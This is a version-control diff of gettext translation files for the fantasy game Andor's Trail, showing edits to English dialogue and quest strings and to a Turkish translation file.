msgid "Welcome to Stoutford kid. "
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_1
@@ -26410,10 +26357,6 @@ msgstr ""
msgid "Why are monster attacks increasing?"
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_4:3
msgid "Thanks for the information. I have to leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:cornith_0
msgid "Hello, welcome to my shop"
msgstr ""
@@ -26474,7 +26417,7 @@ msgid ""
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_5
msgid "He told me that it is very far from here, to the northeast, beyond the river and the mountains."
msgid "He told me that it is very far from here, beyond the river and the mountains."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_6
@@ -26885,7 +26828,7 @@ msgid "Yes, I have dealt with most of the trolls. They won't dare to bother you
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4
msgid "Thank you so much! I wish you safe travels back to Stoutford. If you want to go to the glade next time you are in Remgard, just ask me for the key."
msgid "Thank you so much! If ever you want to go to the glade, just ask me for the key."
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4:0
@@ -27061,7 +27004,7 @@ msgid "Who are "they"?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_9
msgid "Our priest, Tahalendor, was convinced by my uncle, Blornvale, my father's own brother."
msgid "Our priest, Talahendor, was convinced by my uncle, Blornvale, my father's own brother."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_10
@@ -27212,7 +27155,7 @@ msgid "You are right. We need a credible witness ..."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2
msgid "Best would be Tahalendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgid "Best would be Talahendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2:0
@@ -27238,7 +27181,6 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns74_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70
msgid "Any news about the murderer?"
msgstr ""
@@ -27372,7 +27314,7 @@ msgid "That's all children's stuff"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3
msgid "What did you expect? You are a kid after all. I can't give you strong potions!"
msgid "What did you expect? You are a kid after all. I must not give strong potions to you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:0
@@ -27380,7 +27322,9 @@ msgid "You are right. Have a nice day."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:1
msgid "It is not for me of course. My father and his men are fighting in Flagstone right now. They urgently need some useful potions, not soap! I think three potions of the brave would do it, if you happen to have them. And possibly more, if it is good stuff."
msgid ""
"It is not for me of course. My father and his men are fighting in Flagstone right now. They need urgently some useful potions, not soap!\n"
"I think of three potions of the brave, if you happen to have. And more if it is good stuff."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4
@@ -27388,7 +27332,7 @@ msgid "Ah. Oh. That changes everything. Wait a second."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4:0
msgid "I'm in a hurry."
msgid "Look lively now."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_shop2
@@ -27485,6 +27429,14 @@ msgstr ""
msgid "I have heard enough. Thank you, kid. I will ensure that Blornvale never makes trouble again."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns74
msgid "You dare to come here again?"
msgstr ""
@@ -27630,7 +27582,6 @@ msgid "The path to Blackwater mountain was cut off by a rock fall. That stopped
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_2:0
#: conversationlist_stoutford_combined.json:odirath_1_4:3
msgid "How do I get to Blackwater mountain?"
msgstr ""
@@ -27650,10 +27601,6 @@ msgstr ""
msgid "Thanks. What about the monsters?"
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_3:2
msgid "Thanks for the information. Please show me what you have to trade."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_4
msgid "They started attacking the town recently. Nobody is sure why. Their attacks have been unsuccessful, so we are all hoping that they will give up soon and go back to wherever they came from."
msgstr ""
@@ -27667,7 +27614,7 @@ msgid "Thanks. I'm looking for my brother, Andor. Has anyone new been through he
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2
msgid "Yes, indeed. My daughter has not come home for some days. I don't know what's happened to her."
msgid "Yes, indeed. My daughter has not come home for some days. I do not know what's wrong with her."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2:0
@@ -27802,11 +27749,6 @@ msgstr ""
msgid "And bonemeal is forbidden."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4:2
#: conversationlist_stoutford_combined.json:yolgen_4a:1
msgid "I will clear the castle of undead for you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4a
msgid "Yes, incredible! Although kids like you should not play with such things."
msgstr ""
@@ -27847,10 +27789,6 @@ msgstr ""
msgid "That dreadful place has been left abandoned ever since. Recently, however, undead have started pouring out of the prison, and we had to send guards to keep them away from the road. "
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:0
msgid "I took care of that"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:1
msgid "Can I help you with Flagstone?"
msgstr ""
@@ -27887,11 +27825,6 @@ msgstr ""
msgid "That sounds dreadful. Can I help you with the castle?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_1
msgid "Well, you already were of great help. Thank you again!"
msgstr ""
@@ -27916,10 +27849,6 @@ msgstr ""
msgid "OK. I will go to the prison."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_1:1
msgid "I cleared flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_2
msgid "Can you clear the castle?"
msgstr ""
@@ -27941,10 +27870,14 @@ msgid "If you could help with Flagstone, it would take a big burden off us."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:0
msgid "I have been inside Flagstone, but I will go back and find out more."
msgid "I already took care of Flagstone. I cleared it of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:1
msgid "I have been inside Flagstone, but I will go back and find out more."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
msgid "OK, I will take a look."
msgstr ""
@@ -27961,11 +27894,7 @@ msgid "Thank you kindly. Shadow be with you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4
msgid "Yes, thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4:1
msgid "Where do you think they came from?"
msgid "Thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_reinforcements_2
@@ -28061,7 +27990,7 @@ msgid "What would I gain from that?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:1
msgid "You are very rude and poorly educated. Maybe I should introduce myself? $playername is my name."
msgid "You are very rude and poorly educated. May I should introduce myself? $playername is my name."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:2
@@ -28151,7 +28080,7 @@ msgid "Well, it was a tough fight, but I managed to slay Lord Erwyn himself."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2:1
msgid "The undead are no match for me."
msgid "Undeads are no match for me."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2a
@@ -28187,7 +28116,7 @@ msgid "Yolgen puts the ring on his altar and chants a spell. Suddenly the altar
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6
msgid "That is it. The ring is destroyed. I wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgid "That is it. The ring is destroyed. I just wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6:0
@@ -28510,7 +28439,7 @@ msgid "Hi kid. It is nice and warm here next to the fire. Come and make yourself
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp1_10:0
msgid "Ah, no thank you. I have more interesting things to do."
msgid "Ah, no thank you. I have more interesting things to do now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_10
@@ -28522,7 +28451,7 @@ msgid "No. We're on a military exercise right now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30
msgid "We saw another horde of undead approach the castle just as we left. We hurried here, so that we can complete our exercise and be back in time to be able to help."
msgid "We just saw another horde of undead approach the castle when we left. We hurried to this place, so that we can be back in time to be able to help."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30:0
@@ -28542,7 +28471,7 @@ msgid "I had better leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_40:2
msgid "I had better leave now. You do not need to hurry with your exercise. All your comrades have already been killed by the undead."
msgid "I had better leave now. And you need not hurry with your exercise. All your comrades have already been killed by the undead."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_42
@@ -29052,11 +28981,11 @@ msgid "$playername! What do you think you are doing?!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131:0
msgid "Mikhail! You are here?"
msgid "Mikhail! You here?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2
msgid "We need you back home. Andor is back since a long time ago, and we have our hands full trying to control the rat plague."
msgid "We need you at home. Andor is back since long, and we have our hands full trying to control the rat plague."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2:0
@@ -29068,7 +28997,7 @@ msgid "Come with me now. And give me back my ring."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:0
msgid "Sure, here is your ring. It was very useful in the beginning, but I don't need it anymore."
msgid "Sure, here is your ring. It was very useful in the beginning, but now I don't need it anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:1
@@ -29086,11 +29015,11 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4a
msgid ""
"[Ring taken]\n"
"Thank you, stupid boy."
"Thank you, stupid."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4b
msgid "You think you are clever? Useless kid!"
msgid "You think yourself clever? Useless kid!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_10a
@@ -29106,11 +29035,11 @@ msgid "I am impressed. You won the fight with my poser."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132:0
msgid "A Poser? What's that?"
msgid "A Poser? What's this?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a
msgid "A poser can imitate someone you have had in mind recently. Also, if you give him some object, then he can turn it into a second duplicate."
msgid "A poser could imitate someone you have in mind lately. And if you give him some object, then he turns it into a second duplicate."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a:0
@@ -29118,7 +29047,7 @@ msgid "Yes, but two Mikhails were a little bit too conspicuous."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b
msgid "A poser can imitate a person you have had in mind recently, if you don't give him anything."
msgid "A poser could imitate one person you have in mind lately, if you don't give him anything."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b:0
@@ -29310,62 +29239,6 @@ msgstr ""
msgid "Ah, I knew you did. You may pass."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70:0
msgid "Yes, but it's not good news. Tahalendor won't believe me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20
msgid "You gave me a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20:0
msgid "That will not help you. You are forced to tell the truth."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_30
msgid "I don't think so. After all, I'm a potion maker and I have an antidote for it."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_40
msgid "Ah, I see, Tahalendor is here too, fine. Tahalendor, here is a stupid little kid with too much imagination. Please take it with you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_50
msgid "Sorry Blornvale, first I have to ask you if you killed Aryfora's father, your own brother?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60
msgid "Of course not. Nobody is sadder about the loss than me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60:0
msgid "He lies. Can't you see?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_70
msgid "Here, Tahalendor, I'll give you a bottle of your favorite potion. And please take this child with you when you go."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_80
msgid "I will, sorry for disturbing you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90
msgid "And you child, go away now and tell no more fairy tales."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_92
msgid "No more words. Go now!"
msgstr ""
#: itemcategories_1.json:dagger
msgid "Dagger"
msgstr ""
@@ -31286,10 +31159,6 @@ msgstr ""
msgid "Rose"
msgstr ""
#: itemlist_guynmart.json:guynmart_rose:description
msgid "Perpetual fragrance flows around this queen of flowers."
msgstr ""
#: itemlist_guynmart.json:guynmart_flute
msgid "Lovis' Flute"
msgstr ""
@@ -31346,10 +31215,6 @@ msgstr ""
msgid "Ring of dexterity"
msgstr ""
#: itemlist_trader_teksin.json:bwm_gloves
msgid "Blackwater gloves"
msgstr ""
#: itemlist_stoutford_combined.json:ferm-garlic
msgid "Fermented garlic"
msgstr ""
@@ -31362,10 +31227,6 @@ msgstr ""
msgid "Smoked sausage"
msgstr ""
#: itemlist_stoutford_combined.json:smoked-sausage:description
msgid "It smells... smokey."
msgstr ""
#: itemlist_stoutford_combined.json:pickled-cabbage
msgid "Pickled cabbage"
msgstr ""
@@ -36366,11 +36227,11 @@ msgid "Destined for great things"
msgstr ""
#: questlist_v070_charwood.json:charwood1:10
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, has had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, have had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgstr ""
#: questlist_v070_charwood.json:charwood1:11
msgid "I heard someone mention that the mining town of Charwood heights has had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgid "I heard someone mentioning that the mining town of Charwood heights have had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgstr ""
#: questlist_v070_charwood.json:charwood1:19
@@ -36398,7 +36259,7 @@ msgid "I encountered one of the monsters that Maevalia spoke of. The monster spo
msgstr ""
#: questlist_v070_charwood.json:charwood1:41
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him from the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him of the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:42
@@ -36406,7 +36267,7 @@ msgid "I have found some skeletal remains, containing a ring with the insignia '
msgstr ""
#: questlist_v070_charwood.json:charwood1:43
msgid "I have found the armorer Fayvara, and freed her from the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgid "I have found the armorer Fayvara, and freed her of the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:44
@@ -36422,7 +36283,7 @@ msgid "She told me that both Falothen and Fayvara are anxious to see me, in the
msgstr ""
#: questlist_v070_charwood.json:charwood1:65
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one- or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgstr ""
#: questlist_v070_charwood.json:charwood1:70
@@ -36982,7 +36843,7 @@ msgid "The traveler told me that Hagale in the Wood settlement might know how to
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:35
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:40
@@ -37002,7 +36863,7 @@ msgid "I killed the undead and took the key."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:80
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:90
@@ -37013,14 +36874,6 @@ msgstr ""
msgid "Hagale tried to rob me and take the sword. He lost his wife and daughter and wasn't thinking straight. I gave him the sword without a fight."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:100
msgid "Hagale wanted some of the gold I got from selling the sword. It seemed fair to give him a share."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:105
msgid "Hagale tried to rob me of the gold I got from selling the sword. I had no choice but to kill him. "
msgstr ""
#: questlist_graveyard1.json:waterwayacave
msgid "Just the beginning"
msgstr ""
@@ -37029,10 +36882,6 @@ msgstr ""
msgid "In a lonely house east of Loneford, I met an old man named Cithurn."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:12
msgid "Cithurn told me he needs an experienced fighter to help with his problem."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:15
msgid "Cithurn told me that the surrounding forest has been under invasion by monsters for several weeks."
msgstr ""
@@ -37050,7 +36899,7 @@ msgid "Cithurn did not remember if the forest invasion began before the events i
msgstr ""
#: questlist_graveyard1.json:waterwayacave:35
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgstr ""
#: questlist_graveyard1.json:waterwayacave:40
@@ -37146,19 +36995,7 @@ msgid "Purchased potion of lightning attack"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:160
msgid "Mentioned Remgard - Teksin"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:170
msgid "Been to Remgard"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:180
msgid "Talked to Yolgen about the castle"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:190
msgid "Talked to Yolgen about Flagstone"
msgid "Mentioned Remgard"
msgstr ""
#: questlist_guynmart.json:guynmart
@@ -37884,10 +37721,6 @@ msgstr ""
msgid "Blornvale drank the potion."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:71
msgid "Tahalendor came to hear Blonvale confession."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:72
msgid "Blornvale confessed to killing Aryfora's father. Unfortunately there is no witness."
msgstr ""
@@ -37896,14 +37729,6 @@ msgstr ""
msgid "Blornvale now understands what you were trying to do. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:75
msgid "Tahalendor wouldn't believe your story. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:76
msgid "It's all your fault that Aryfora is crying now."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:80
msgid "Blornvale confessed to killing Aryfora's father in the presence of Tahalendor."
msgstr ""
@@ -38311,7 +38136,7 @@ msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:20
msgid ""
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave her hiding place.\n"
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave the hiding place.\n"
"She was looking for Lord Berbanes helmet, which he had forgotten somewhere in the castle."
msgstr ""
@@ -38328,7 +38153,7 @@ msgid "You found the helmet."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:60
msgid "Once back in Stoutford Gyra knew the way and ran to her father Odirath."
msgid "Back in Stoutford Gyra knew the way and ran to her father Odirath."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:70

File diff suppressed because it is too large Load Diff

View File

@@ -1,3 +1,32 @@
# Turkish translation for andors-trail
# Copyright (c) 2014 Rosetta Contributors and Canonical Ltd 2014
# This file is distributed under the same license as the andors-trail package.
# FIRST AUTHOR <EMAIL@ADDRESS>, 2014.
#
msgid ""
msgstr ""
"Project-Id-Version: andors-trail\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2013-11-10 11:48+0000\n"
"PO-Revision-Date: 2018-05-25 13:43+0000\n"
"Last-Translator: lanet <vaegirinlaneti@gmail.com>\n"
"Language-Team: Turkish <https://hosted.weblate.org/projects/andors-trail/"
"game-content/tr/>\n"
"Language: tr\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 3.0-dev\n"
"X-Launchpad-Export-Date: 2015-11-02 12:26+0000\n"
#: [none]
msgid "translator-credits"
msgstr ""
"İngilizce Aslından Çeviren;\n"
"\n"
"Samet Develioğlu"
#: actorconditions_v069.json:bless
msgid "Bless"
msgstr "Kutsama"
@@ -371,7 +400,7 @@ msgstr ""
#: conversationlist_guynmart2_npc.json:guynmart_child_90:0
#: conversationlist_stoutford_combined.json:stoutford_widow_roots30_2:0
msgid "You're welcome."
msgstr "Rica ederim."
msgstr ""
#: conversationlist_mikhail.json:mikhail_rats_start
msgid "I saw some rats out back in our garden earlier. Could you please go kill any rats that you see out there."
@@ -2894,7 +2923,7 @@ msgid "Hello again. Have you found the former warden in Flagstone yet?"
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:0
msgid "I slew the former warden and found a peculiar necklace among his remains."
msgid "I slew the fomer warden and found a peculiar necklace among his remains."
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:2
@@ -4670,7 +4699,7 @@ msgstr ""
#: conversationlist_jolnor.json:jolnor_gaintrust_13:0
#: conversationlist_stoutford_combined.json:odirath_3_1:3
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:3
msgid "Maybe."
msgstr ""
@@ -5608,7 +5637,7 @@ msgstr ""
#: conversationlist_talion_2.json:talion_cured_1:1
#: conversationlist_maevalia.json:maevalia_r0:1
#: conversationlist_maevalia.json:maevalia15:0
#: conversationlist_stoutford.json:tahalendor2_10
#: conversationlist_stoutford.json:tahalendor2_0
msgid "What now?"
msgstr "Ya şimdi?"
@@ -6790,7 +6819,6 @@ msgstr ""
#: conversationlist_elwyl.json:elwyl_8:1
#: conversationlist_lodar.json:lodar_5:0
#: conversationlist_stoutford.json:soutford_gateguard_what_1:0
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford.json:yolgen_rumblings10_5:1
msgid "Is there anything I can do to help?"
msgstr "Yardımcı olmak için yapabileceğim bir şey var mı?"
@@ -7769,7 +7797,7 @@ msgstr "Ah evet, şanslıyız ki seni bulmuş. Gördüğün gibi, dağın o kada
#: conversationlist_blackwater_harlenn.json:harlenn_6
msgid "We spend most of our time in the settlement up here on the mountain."
msgstr "[REVIEW]Zamanımızın çoğunu burada dağın tepesindeki yerleşkemizde geçiriyoruz."
msgstr "Zamanımızın çoğunu burada dağın tepesindeki yerleşkemizde geçiriyoruz."
#: conversationlist_blackwater_harlenn.json:harlenn_7
msgid "However, recent events have forced us to send for help. We are lucky you found us."
@@ -9466,7 +9494,7 @@ msgid "I talked to Benbyr and heard the story about you two."
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1
msgid "Hello there. You wouldn't happen to want to help an old shepherd would you?"
msgid "Hello there. You wouldn't happen to want to help an old shepherd do you?"
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1:0
@@ -9623,7 +9651,7 @@ msgid "Depends on what I get in return."
msgstr "Karşılığında ne alacağıma bağlı."
#: conversationlist_benbyr.json:benbyr_story_2:2
msgid "I try to help people wherever they might need help."
msgid "I try to help people where ever they might need help."
msgstr "Elimden geldiğince ihtiyacı olan tüm insanlara yardım etmeye çalışırım."
#: conversationlist_benbyr.json:benbyr_story_3_1
@@ -9661,7 +9689,7 @@ msgid "A while ago, I did some business with a certain man called Tinlyn, over h
msgstr "Bundan bir süre önce burada, Dörtyol Karakolu'nda, Tinlyn adında bir adamla bazı işler yaptım."
#: conversationlist_benbyr.json:benbyr_story_5
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that was mutually beneficial and the guards did not know about it."
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that it was mutually beneficial that the guards did not know about it."
msgstr "Yaptığımız işin doğası gereği, ne işi olduğunu sana söyleyemem. Sadece şunu söyleyeyim ki yaptığımız iş, asker ve muhafızların bilmemesi gereken türden bir işti."
#: conversationlist_benbyr.json:benbyr_story_6
@@ -17449,7 +17477,7 @@ msgstr "Kayıp insanlarımızı bulduğun için çok teşekkürler!"
#: conversationlist_charwood1.json:khorailla1:1
msgid "Please sell me some of your famous Cheddar cheese."
msgstr ""
msgstr "Rica ederim."
#: conversationlist_charwood1.json:khorailla2
msgid "It's not much, but I have some food if you'd like."
@@ -21573,7 +21601,6 @@ msgid "I have a feeling that we'll meet there, wherever that is."
msgstr ""
#: conversationlist_halvor_surprise.json:halvor_mlake_leaving:2
#: conversationlist_graveyard1.json:algore_special2:0
msgid "Good luck!"
msgstr ""
@@ -21858,6 +21885,12 @@ msgstr ""
msgid "I cleared Flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0
msgid "Walk in the shadow kid. I have to apologize for my master, Tahalendor."
msgstr ""
@@ -21870,12 +21903,6 @@ msgstr ""
msgid "Can you explain?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0:2
#: conversationlist_stoutford.json:yolgen_rumblings20_0:1
#: conversationlist_stoutford.json:yolgen_rumblings50_0:2
msgid "Let us talk about something different."
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_1
msgid "My master is wise and old, but his sight is not as sharp as it once was. He took you for someone else."
msgstr ""
@@ -22365,10 +22392,6 @@ msgstr ""
msgid "If I must. Well, go ahead, I'll be there when you get there."
msgstr ""
#: conversationlist_stoutford.json:tahalendor2_20
msgid "Well, I don't really believe it, but we could try. Blornvale, how did you kill Aryforas father, your own brother?"
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_10
msgid "Hey, did you try to open that treasure chest?"
msgstr ""
@@ -22394,11 +22417,11 @@ msgid "Undead? I would love to hear the rest of your story but I am on a mission
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_30
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40:0
@@ -22410,7 +22433,7 @@ msgid "That is all I know . . . Come to think of it . . . Hagale from the Wood S
msgstr ""
#: conversationlist_graveyard1.json:algore_10
msgid "Oh yeah? What's it to you kid? BURP... If you want to know, it will cost you two bottles of Lowynas special brew."
msgid "Oh yeah? What's it to you kid? BURP...If you want to know, it will cost you two bottles of Lowynas special brew."
msgstr ""
#: conversationlist_graveyard1.json:algore_20
@@ -22420,12 +22443,12 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_30
msgid ""
"I thought nothing more of it. I was a simple trader in Loneford with a beautiful wife and daughter.\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
msgstr ""
#: conversationlist_graveyard1.json:algore_40
msgid ""
